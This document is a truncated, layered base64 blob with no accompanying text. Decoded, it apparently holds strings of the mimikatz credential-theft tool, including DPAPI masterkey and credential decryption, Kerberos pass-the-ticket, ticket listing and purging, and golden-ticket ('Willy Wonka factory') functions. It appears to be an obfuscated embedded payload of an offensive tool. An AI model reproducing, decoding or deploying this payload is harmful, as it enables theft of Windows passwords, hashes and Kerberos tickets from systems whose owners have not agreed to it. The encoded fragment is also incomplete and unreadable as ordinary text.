BY3dCMEFHVUFjZ0JyQUdVQWVRQWdBQ2dBYXdCbEFIa0FJQUJrQUdVQWNBQmxBRzRBWkFCcEFHNEFad0FwQUFBQVl3QnlBR1VBWkFCb0FHa0Fjd0IwQUFBQUFBQkVBR1VBY3dCakFISUFhUUJpQUdVQUlBQmhBQ0FBUXdCeUFHVUFaQUJvQUdrQWN3QjBBQ0FBWmdCcEFHd0FaUUFBQUFBQVl3QmhBSEFBYVFBQUFBQUFRd0JCQUZBQVNRQWdBR3NBWlFCNUFDQUFkQUJsQUhNQWRBQUFBR01BYmdCbkFBQUFRd0JPQUVjQUlBQnJBR1VBZVFBZ0FIUUFaUUJ6QUhRQUFBQUFBR01BY2dCbEFHUUFBQUFBQUVNQVVnQkZBRVFBSUFCMEFHVUFjd0IwQUFBQWRnQmhBSFVBYkFCMEFBQUFWZ0JCQUZVQVRBQlVBQ0FBZEFCbEFITUFkQUFBQUFBQVl3QmhBR01BYUFCbEFBQUFaQUJ3QUdFQWNBQnBBQUFBUkFCUUFFRUFVQUJKQUNBQVRRQnZBR1FBZFFCc0FHVUFJQUFvQUdJQWVRQWdBRUVBVUFCSkFDQUFid0J5QUNBQVVnQkJBRmNBSUFCaEFHTUFZd0JsQUhNQWN3QXBBQUFBUkFCaEFIUUFZUUFnQUZBQWNnQnZBSFFBWlFCakFIUUFhUUJ2QUc0QUlBQmhBSEFBY0FCc0FHa0FZd0JoQUhRQWFRQnZBRzRBSUFCd0FISUFid0JuQUhJQVlRQnRBRzBBYVFCdUFHY0FJQUJwQUc0QWRBQmxBSElBWmdCaEFHTUFaUUFBQUdrQWJnQUFBQUFBWkFCbEFITUFZd0J5QUdrQWNBQjBBR2tBYndCdUFDQUFPZ0FnQUNVQWN3QUtBQUFBYndCMUFIUUFBQUJYQUhJQWFRQjBBR1VBSUFCMEFHOEFJQUJtQUdrQWJBQmxBQ0FBSndBbEFITUFKd0FnQUdrQWN3QWdBRThBU3dBS0FBQUFaQUJoQUhRQVlRQWdBQzBBSUFBQUFIUUFaUUI0QUhRQUlBQTZBQ0FBSlFCekFBQUFhQUJsQUhnQUlBQWdBRG9BSUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFZZ0JzQUc4QVlnQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBR1lBYVFCc0FHVUFYd0J5QUdVQVlRQmtBRVFBWVFCMEFHRUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQWJRQnBBRzBBYVFCckFHRUFkQUI2QUFBQUFBQmtBR0VBZEFCaEFBQUFBQUJrQUdVQWN3QmpBSElBYVFCd0FIUUFhUUJ2QUc0QUFBQmxBRzRBZEFCeUFHOEFjQUI1QUFBQWJRQmhBR01BYUFCcEFHNEFaUUFBQUhBQWNnQnZBRzBBY0FCMEFBQUFBQUJqQUFBQUNnQmtBR0VBZEFCaEFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJ6QUFvQUFBQUFBR1lBYkFCaEFHY0Fjd0FnQUNBQUlBQWdBQ0FBSUFBZ0FEb0FJQUFBQUFBQWNBQnlBRzhBYlFCd0FIUUFJQUJtQUd3QVlRQm5BSE1BT2dBZ0FBQUFBQUJsQUc0QWRBQnlBRzhBY0FCNUFDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBQUFFSUFiQUJ2QUdJQU9nQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFIQUFjZ0J2QUhRQVpRQmpBSFFBSUFBN0FDQUFRd0J5QUhrQWNBQjBBRkFBY2dCdkFIUUFaUUJqQUhRQVJBQmhBSFFBWVFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFjQUJ5QUc4QWRBQmxBR01BZEFCbEFHUUFBQUJ6QUdrQVpBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdRQWNBQmhBSEFBYVFCZkFHMEFZUUJ6QUhRQVpRQnlBR3NBWlFCNUFDQUFPd0FnQUVNQWJ3QnVBSFlBWlFCeUFIUUFVd0IwQUhJQWFRQnVBR2NBVXdCcEFHUUFWQUJ2QUZNQWFRQmtBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFHZ0FZUUJ6QUdnQUFBQUFBSE1BZVFCekFIUUFaUUJ0QUFBQUFBQUFBQUFBQ2dCYkFHMEFZUUJ6QUhRQVpRQnlBR3NBWlFCNUFGMEFJQUIzQUdrQWRBQm9BQ0FBZGdCdkFHd0FZUUIwQUdrQWJBQmxBQ0FBWXdCaEFHTUFhQUJsQURvQUlBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFBZ0FEc0FJQUJPQUc4QUlBQnpBSFVBYVFCMEFHRUFZZ0JzQUdVQUlBQnJBR1VBZVFBZ0FHWUFid0IxQUc0QVpBQWdBR2tBYmdBZ0FHTUFZUUJqQUdnQVpRQUtBQUFBQUFBS0FGc0FiUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FYUUFnQUhjQWFRQjBBR2dBSUFCRUFGQUFRUUJRQUVrQVh3QlRBRmtBVXdCVUFFVUFUUUFnQUNnQWJRQmhBR01BYUFCcEFHNEFaUUFzQUNBQWRBQm9BR1VBYmdBZ0FIVUFjd0JsQUhJQUtRQTZBQ0FBQUFBcUFDb0FJQUJOQUVFQVF3QklBRWtBVGdCRkFDQUFLZ0FxQUFvQUFBQUFBQ29BS2dBZ0FGVUFVd0JGQUZJQUlBQXFBQ29BQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0J0QUdFQWN3QjBBR1VBY2dCckFHVUFlUUJmQUhjQWFRQjBBR2dBWHdCekFHZ0FZUUJFQUdVQWNnQnBBSFlBWlFCa0FHc0FaUUI1QUFvQUFBQUtBRnNBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBWFFBZ0FIY0FhUUIwQUdnQUlBQkVBRkFBUVFCUUFFa0FYd0JUQUZrQVV3QlVBRVVBVFFBNkFDQUFBQUFBQUhBQVlRQnpBSE1BZHdCdkFISUFaQUFBQUFBQWJnQnZBSElBYlFCaEFHd0FBQUFBQUFvQVd3QnRBR0VBY3dCMEFHVUFjZ0JyQUdVQWVRQmRBQ0FBZHdCcEFIUUFhQUFnQUhBQVlRQnpBSE1BZHdCdkFISUFaQUE2QUNBQUpRQnpBQ0FBS0FBbEFITUFJQUIxQUhNQVpRQnlBQ2tBQ2dBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkUUJ1QUhBQWNnQnZBSFFBWlFCakFIUUFYd0J0QUdFQWN3QjBBR1VBY2dCckFHVUFlUUJmQUhjQWFRQjBBR2dBWHdCd0FHRUFjd0J6QUhjQWJ3QnlBR1FBQ2dBQUFBQUFDZ0JiQUcwQVlRQnpBSFFBWlFCeUFHc0FaUUI1QUYwQUlBQjNBR2tBZEFCb0FDQUFhQUJoQUhNQWFBQTZBQ0FBQUFBQUFDQUFLQUJ1QUhRQWJBQnRBQ0FBZEFCNUFIQUFaUUFwQUFvQUFBQWdBQ2dBY3dCb0FHRUFNUUFnQUhRQWVRQndBR1VBS1FBS0FBQUFJQUFvQUQ4QUtRQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JrQUhBQVlRQndBR2tBWHdCdEFHRUFjd0IwQUdVQWNnQnJBR1VBZVFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBWHdCM0FHa0FkQUJvQUY4QWRRQnpBR1VBY2dCSUFHRUFjd0JvQUFvQUFBQUFBQW9BV3dCa0FHOEFiUUJoQUdrQWJnQnJBR1VBZVFCZEFDQUFkd0JwQUhRQWFBQWdBSFlBYndCc0FHRUFkQUJwQUd3QVpRQWdBR01BWVFCakFHZ0FaUUE2QUNBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBYlFCaEFITUFkQUJsQUhJQWF3QmxBSGtBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QjFBRzRBY0FCeUFHOEFkQUJsQUdNQWRBQmZBR1FBYndCdEFHRUFhUUJ1QUdzQVpRQjVBRjhBZHdCcEFIUUFhQUJmQUdzQVpRQjVBQW9BQUFCd0FIWUFhd0FBQUFBQUFBQUtBRnNBWkFCdkFHMEFZUUJwQUc0QWF3QmxBSGtBWFFBZ0FIY0FhUUIwQUdnQUlBQlNBRk1BUVFBZ0FIQUFjZ0JwQUhZQVlRQjBBR1VBSUFCckFHVUFlUUFLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBRzBBWVFCekFIUUFaUUJ5QUdzQVpRQjVBQ0FBT3dBZ0FFa0FiZ0J3QUhVQWRBQWdBRzBBWVFCekFIUUFaUUJ5QUdzQVpRQjVBSE1BSUFCbUFHa0FiQUJsQUNBQWJnQmxBR1VBWkFCbEFHUUFJQUFvQUM4QWFRQnVBRG9BWmdCcEFHd0FaUUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBR01BY2dCbEFHUUFhQUJwQUhNQWRBQWdBRHNBSUFCREFHOEFiZ0IyQUdVQWNnQjBBRk1BZEFCeUFHa0FiZ0JuQUZNQWFRQmtBRlFBYndCVEFHa0FaQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQWN3Qm9BR0VBTVFBQUFBQUFDZ0FnQUNBQVd3QmxBRzRBZEFCeUFIa0FJQUFsQUhVQVhRQWdBSGNBYVFCMEFHZ0FJQUIyQUc4QWJBQmhBSFFBYVFCc0FHVUFJQUJqQUdFQVl3Qm9BR1VBT2dBZ0FBQUFDZ0FnQUNBQVd3QmxBRzRBZEFCeUFIa0FJQUFsQUhVQVhRQWdBSGNBYVFCMEFHZ0FJQUJUQUVnQVFRQXhBQ0FBWVFCdUFHUUFJQUJUQUVrQVJBQTZBQ0FBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0JqQUhJQVpRQmtBR2dBYVFCekFIUUFJQUE3QUNBQVNRQnVBSEFBZFFCMEFDQUFZd0J5QUdVQVpBQm9BR2tBY3dCMEFDQUFaZ0JwQUd3QVpRQWdBRzRBWlFCbEFHUUFaUUJrQUNBQUtBQXZBR2tBYmdBNkFHWUFhUUJzQUdVQUtRQUtBQUFBQUFCMUFHNEFjQUJ5QUc4QWRBQmxBR01BZEFBQUFDQUFLZ0FnQUhZQWJ3QnNBR0VBZEFCcEFHd0FaUUFnQUdNQVlRQmpBR2dBWlFBNkFDQUFBQUFnQUNvQUlBQnRBR0VBY3dCMEFHVUFjZ0JyQUdVQWVRQWdBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUlBQStBQ0FBY0FCeUFHOEFiUUJ3QUhRQUlBQm1BR3dBWVFCbkFITUFJQUFnQURvQUlBQUFBQ0FBUGdBZ0FHVUFiZ0IwQUhJQWJ3QndBSGtBSUFBZ0FDQUFJQUFnQUNBQUlBQTZBQ0FBQUFBZ0FENEFJQUJ3QUdFQWN3QnpBSGNBYndCeUFHUUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFVBYmdCd0FISUFid0IwQUdVQVl3QjBBRjhBY2dCaEFIY0FYd0J2QUhJQVh3QmlBR3dBYndCaUFDQUFPd0FnQUVNQWNnQjVBSEFBZEFCVkFHNEFjQUJ5QUc4QWRBQmxBR01BZEFCRUFHRUFkQUJoQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQWdBQ0FBYXdCbEFIa0FJQUE2QUNBQUFBQUFBQ0FBSUFCekFHZ0FZUUF4QURvQUlBQUFBQUFBSUFBZ0FITUFhUUJrQUNBQU9nQWdBQUFBQUFBZ0FDQUFJQUFBQUNBQUxRQXRBQ0FBQUFBQUFDQUFJQUFnQUQ0QUlBQk9BRlFBVEFCTkFEb0FJQUFBQUNBQUlBQWdBRDRBSUFCVEFFZ0FRUUF4QURvQUlBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBYndCbEFGOEFiUUJoQUhNQWRBQmxBSElBYXdCbEFIa0FYd0JoQUdRQVpBQWdBRHNBSUFCT0FHOEFJQUJIQUZVQVNRQkVBQ0FBYndCeUFDQUFTd0JsQUhrQUlBQklBR0VBY3dCb0FEOEFBQUFBQUVjQVZRQkpBRVFBT2dBQUFEc0FBQUJMQUdVQWVRQklBR0VBY3dCb0FEb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBRzhBWlFCZkFHTUFjZ0JsQUdRQVpRQnVBSFFBYVFCaEFHd0FYd0JoQUdRQVpBQWdBRHNBSUFCT0FHOEFJQUJUQUVrQVJBQS9BQUFBQUFCVEFFa0FSQUE2QUNVQWN3QUFBQUFBVFFCRUFEUUFPZ0FBQUFBQVV3QklBRUVBTVFBNkFBQUFUUUJFQURRQWNBQTZBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFid0JsQUY4QVpBQnZBRzBBWVFCcEFHNEFhd0JsQUhrQVh3QmhBR1FBWkFBZ0FEc0FJQUJPQUc4QUlBQkhBRlVBU1FCRUFDQUFid0J5QUNBQVN3QmxBSGtBUHdBQUFGSUFVd0JCQUFBQVRBQkZBRWNBUVFCREFGa0FBQUFBQURzQVZBQlpBRkFBUlFBNkFDVUFjd0FLQUFBQUNnQkRBRklBUlFCRUFFVUFUZ0JVQUVrQVFRQk1BRk1BSUFCakFHRUFZd0JvQUdVQUNnQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQUNnQUFBQUFBQUFBS0FFMEFRUUJUQUZRQVJRQlNBRXNBUlFCWkFGTUFJQUJqQUdFQVl3Qm9BR1VBQ2dBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBQW9BQUFBS0FFUUFUd0JOQUVFQVNRQk9BRXNBUlFCWkFGTUFJQUJqQUdFQVl3Qm9BR1VBQ2dBOUFEMEFQUUE5QUQwQVBRQTlBRDBBUFFBOUFEMEFQUUE5QUQwQVBRQTlBQW9BQUFCQkFIVUFkQUJ2QUNBQVV3QkpBRVFBSUFCbUFISUFid0J0QUNBQWNBQmhBSFFBYUFBZ0FITUFaUUJsQUcwQWN3QWdBSFFBYndBZ0FHSUFaUUE2QUNBQUpRQnpBQW9BQUFCRUFHVUFZd0J5QUhrQWNBQjBBR2tBYmdCbkFDQUFRd0J5QUdVQVpBQmxBRzRBZEFCcEFHRUFiQUE2QUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBR01BY2dCbEFHUUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JtQUdrQWJBQmxBRjhBY2dCbEFHRUFaQUJFQUdFQWRBQmhBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUdNQWNnQmxBR1FBSUFBN0FDQUFTUUJ1QUhBQWRRQjBBQ0FBUXdCU0FFVUFSQUFnQUdZQWFRQnNBR1VBSUFCdUFHVUFaUUJrQUdVQVpBQWdBQ2dBTHdCcEFHNEFPZ0JtQUdrQWJBQmxBQ2tBQ2dBQUFBQUFjQUJ2QUd3QWFRQmpBSGtBQUFBQUFFUUFaUUJqQUhJQWVRQndBSFFBYVFCdUFHY0FJQUJRQUc4QWJBQnBBR01BZVFBZ0FFc0FaUUI1QUhNQU9nQUtBQUFBQUFBZ0FDQUFRUUJGQUZNQU1RQXlBRGdBSUFCckFHVUFlUUE2QUNBQUFBQUFBQ0FBSUFCQkFFVUFVd0F5QURVQU5nQWdBR3NBWlFCNUFEb0FJQUFBQUFBQUlBQWdBRDRBSUFCQkFIUUFkQUJ5QUdrQVlnQjFBSFFBWlFBZ0FDVUFkUUFnQURvQUlBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFaQUJ3QUdFQWNBQnBBRjhBZGdCaEFIVUFiQUIwQUNBQU93QWdBRU1BY2dCNUFIQUFkQUJFQUdVQVl3QnlBSGtBY0FCMEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCa0FIQUFZUUJ3QUdrQVh3QjJBR0VBZFFCc0FIUUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JtQUdrQWJBQmxBRjhBY2dCbEFHRUFaQUJFQUdFQWRBQmhBQ0FBS0FCd0FHOEFiQUJwQUdNQWVRQXBBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFkZ0JoQUhVQWJBQjBBQ0FBT3dBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhJQVpRQmhBR1FBUkFCaEFIUUFZUUFnQUNnQVl3QnlBR1VBWkFBcEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHUUFjQUJoQUhBQWFRQmZBSFlBWVFCMUFHd0FkQUFnQURzQUlBQkpBRzRBY0FCMUFIUUFJQUJEQUhJQVpRQmtBQ0FBWmdCcEFHd0FaUUFnQUc0QVpRQmxBR1FBWlFCa0FDQUFLQUF2QUdNQWNnQmxBR1FBT2dCbUFHa0FiQUJsQUNrQUNnQUFBRVFBWlFCakFISUFlUUJ3QUhRQWFRQnVBR2NBSUFCRkFIZ0FjQUJ2QUhJQWRBQWdBR1lBYkFCaEFHY0Fjd0E2QUFvQUFBQklhakZrYVZFMmEzQlZlRGRXUXpSdEFBQUFBRVFBWlFCakFISUFlUUJ3QUhRQWFRQnVBR2NBSUFCUUFISUFhUUIyQUdFQWRBQmxBQ0FBU3dCbEFIa0FPZ0FLQUFBQUFBQnlBR0VBZHdBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR1FBY0FCaEFIQUFhUUJmQUdzQVpRQjVBSE1BWHdCakFHRUFjQUJwQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QVpnQnBBR3dBWlFCZkFISUFaUUJoQUdRQVJBQmhBSFFBWVFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBWkFCd0FHRUFjQUJwQUY4QWF3QmxBSGtBY3dCZkFHTUFZUUJ3QUdrQUlBQTdBQ0FBU1FCdUFIQUFkUUIwQUNBQVF3QkJBRkFBU1FBZ0FIQUFjZ0JwQUhZQVlRQjBBR1VBSUFCckFHVUFlUUFnQUdZQWFRQnNBR1VBSUFCdUFHVUFaUUJrQUdVQVpBQWdBQ2dBTHdCcEFHNEFPZ0JtQUdrQWJBQmxBQ2tBQ2dBQUFBQUFBQUJFQUdVQVl3QnlBSGtBY0FCMEFHa0FiZ0JuQUNBQVVBQnlBR2tBZGdCaEFIUUFaUUFnQUZBQWNnQnZBSEFBWlFCeUFIUUFhUUJsQUhNQU9nQUtBQUFBTm1wdWEyUTFTak5hWkZGRWRISnpkUUFBQUFCNFZEVnlXbGMxY1ZaV1luSjJjSFZCQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVpBQndBR0VBY0FCcEFGOEFhd0JsQUhrQWN3QmZBR01BYmdCbkFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFaZ0JwQUd3QVpRQmZBSElBWlFCaEFHUUFSQUJoQUhRQVlRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QmtBSEFBWVFCd0FHa0FYd0JyQUdVQWVRQnpBRjhBWXdCdUFHY0FJQUE3QUNBQVNRQnVBSEFBZFFCMEFDQUFRd0JPQUVjQUlBQndBSElBYVFCMkFHRUFkQUJsQUNBQWF3QmxBSGtBSUFCbUFHa0FiQUJsQUNBQWJnQmxBR1VBWkFCbEFHUUFJQUFvQUM4QWFRQnVBRG9BWmdCcEFHd0FaUUFwQUFvQUFBQkxaWEppWlhKdmN3QUFBQUJ3QUhRQWRBQUFBRkFBWVFCekFITUFMUUIwQUdnQVpRQXRBSFFBYVFCakFHc0FaUUIwQUNBQVd3Qk9BRlFBSUFBMkFGMEFBQUFBQUd3QWFRQnpBSFFBQUFBQUFFd0FhUUJ6QUhRQUlBQjBBR2tBWXdCckFHVUFkQUFvQUhNQUtRQUFBQUFBZEFCbkFIUUFBQUJTQUdVQWRBQnlBR2tBWlFCMkFHVUFJQUJqQUhVQWNnQnlBR1VBYmdCMEFDQUFWQUJIQUZRQUFBQUFBSEFBZFFCeUFHY0FaUUFBQUZBQWRRQnlBR2NBWlFBZ0FIUUFhUUJqQUdzQVpRQjBBQ2dBY3dBcEFBQUFad0J2QUd3QVpBQmxBRzRBQUFBQUFGY0FhUUJzQUd3QWVRQWdBRmNBYndCdUFHc0FZUUFnQUdZQVlRQmpBSFFBYndCeUFIa0FBQUJJQUdFQWN3Qm9BQ0FBY0FCaEFITUFjd0IzQUc4QWNnQmtBQ0FBZEFCdkFDQUFhd0JsQUhrQWN3QUFBSEFBZEFCakFBQUFVQUJoQUhNQWN3QXRBSFFBYUFCbEFDMEFZd0JqQUdFQVl3Qm9BR1VBSUFCYkFFNEFWQUEyQUYwQUFBQmpBR3dBYVFCekFIUUFBQUFBQUFBQVRBQnBBSE1BZEFBZ0FIUUFhUUJqQUdzQVpRQjBBSE1BSUFCcEFHNEFJQUJOQUVrQVZBQXZBRWdBWlFCcEFHMEFaQUJoQUd3QWJBQWdBR01BWXdCaEFHTUFhQUJsQUFBQWF3QmxBSElBWWdCbEFISUFid0J6QUFBQUFBQkxBR1VBY2dCaUFHVUFjZ0J2QUhNQUlBQndBR0VBWXdCckFHRUFad0JsQUNBQWJRQnZBR1FBZFFCc0FHVUFBQUFBQUFBQUpRQXpBSFVBSUFBdEFDQUFSQUJwQUhJQVpRQmpBSFFBYndCeUFIa0FJQUFuQUNVQWN3QW5BQ0FBS0FBcUFDNEFhd0JwQUhJQVlnQnBBQ2tBQ2dBQUFGd0FLZ0F1QUdzQWFRQnlBR0lBYVFBQUFBQUFYQUFBQUNBQUlBQWdBQ1VBTXdCMUFDQUFMUUFnQUVZQWFRQnNBR1VBSUFBbkFDVUFjd0FuQUNBQU9nQWdBQUFBSlFBekFIVUFJQUF0QUNBQVJnQnBBR3dBWlFBZ0FDY0FKUUJ6QUNjQUlBQTZBQ0FBQUFBQUFFOEFTd0FLQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQVlnQmxBSElBYndCekFGOEFjQUIwQUhRQVh3Qm1BR2tBYkFCbEFDQUFPd0FnQUV3QWN3QmhBRU1BWVFCc0FHd0FTd0JsQUhJQVlnQmxBSElBYndCekFGQUFZUUJqQUdzQVlRQm5BR1VBSUFBbEFEQUFPQUI0QUFvQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0J3QUhRQWRBQmZBR1lBYVFCc0FHVUFJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0JtQUdrQWJBQmxBRjhBY2dCbEFHRUFaQUJFQUdFQWRBQmhBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUhBQWRBQjBBRjhBWkFCaEFIUUFZUUFnQURzQUlBQk1BSE1BWVFCREFHRUFiQUJzQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnBBRzhBYmdCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBU3dCbEFISUFZZ0JUQUhVQVlnQnRBR2tBZEFCVUFHa0FZd0JyQUdVQWRBQk5BR1VBY3dCekFHRUFad0JsQUNBQUx3QWdBRkFBWVFCakFHc0FZUUJuQUdVQUlBQTZBQ0FBSlFBd0FEZ0FlQUFLQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0JpQUdVQWNnQnZBSE1BWHdCd0FIUUFkQUJmQUdRQVlRQjBBR0VBSUFBN0FDQUFUQUJ6QUdFQVF3QmhBR3dBYkFCQkFIVUFkQUJvQUdVQWJnQjBBR2tBWXdCaEFIUUFhUUJ2QUc0QVVBQmhBR01BYXdCaEFHY0FaUUFnQUVzQVpRQnlBR0lBVXdCMUFHSUFiUUJwQUhRQVZBQnBBR01BYXdCbEFIUUFUUUJsQUhNQWN3QmhBR2NBWlFBZ0FEb0FJQUFsQURBQU9BQjRBQW9BQUFBQUFBQUFWQUJwQUdNQWF3QmxBSFFBS0FCekFDa0FJQUJ3QUhVQWNnQm5BR1VBSUFCbUFHOEFjZ0FnQUdNQWRRQnlBSElBWlFCdUFIUUFJQUJ6QUdVQWN3QnpBR2tBYndCdUFDQUFhUUJ6QUNBQVR3QkxBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QWNBQjFBSElBWndCbEFDQUFPd0FnQUV3QWN3QmhBRU1BWVFCc0FHd0FRUUIxQUhRQWFBQmxBRzRBZEFCcEFHTUFZUUIwQUdrQWJ3QnVBRkFBWVFCakFHc0FZUUJuQUdVQUlBQkxBR1VBY2dCaUFGQUFkUUJ5QUdjQVpRQlVBR2tBWXdCckFHVUFkQUJEQUdFQVl3Qm9BR1VBVFFCbEFITUFjd0JoQUdjQVpRQWdBQzhBSUFCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBT2dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QWNBQjFBSElBWndCbEFDQUFPd0FnQUV3QWN3QmhBRU1BWVFCc0FHd0FRUUIxQUhRQWFBQmxBRzRBZEFCcEFHTUFZUUIwQUdrQWJ3QnVBRkFBWVFCakFHc0FZUUJuQUdVQUlBQkxBR1VBY2dCaUFGQUFkUUJ5QUdjQVpRQlVBR2tBWXdCckFHVUFkQUJEQUdFQVl3Qm9BR1VBVFFCbEFITUFjd0JoQUdjQVpRQWdBRG9BSUFBbEFEQUFPQUI0QUFvQUFBQUFBRXNBWlFCeUFHSUFaUUJ5QUc4QWN3QWdBRlFBUndCVUFDQUFid0JtQUNBQVl3QjFBSElBY2dCbEFHNEFkQUFnQUhNQVpRQnpBSE1BYVFCdkFHNEFJQUE2QUNBQUFBQUFBQW9BQ2dBSkFDb0FLZ0FnQUZNQVpRQnpBSE1BYVFCdkFHNEFJQUJyQUdVQWVRQWdBR2tBY3dBZ0FFNEFWUUJNQUV3QUlRQWdBRWtBZEFBZ0FHMEFaUUJoQUc0QWN3QWdBR0VBYkFCc0FHOEFkd0IwQUdjQWRBQnpBR1VBY3dCekFHa0Fid0J1QUdzQVpRQjVBQ0FBYVFCekFDQUFiZ0J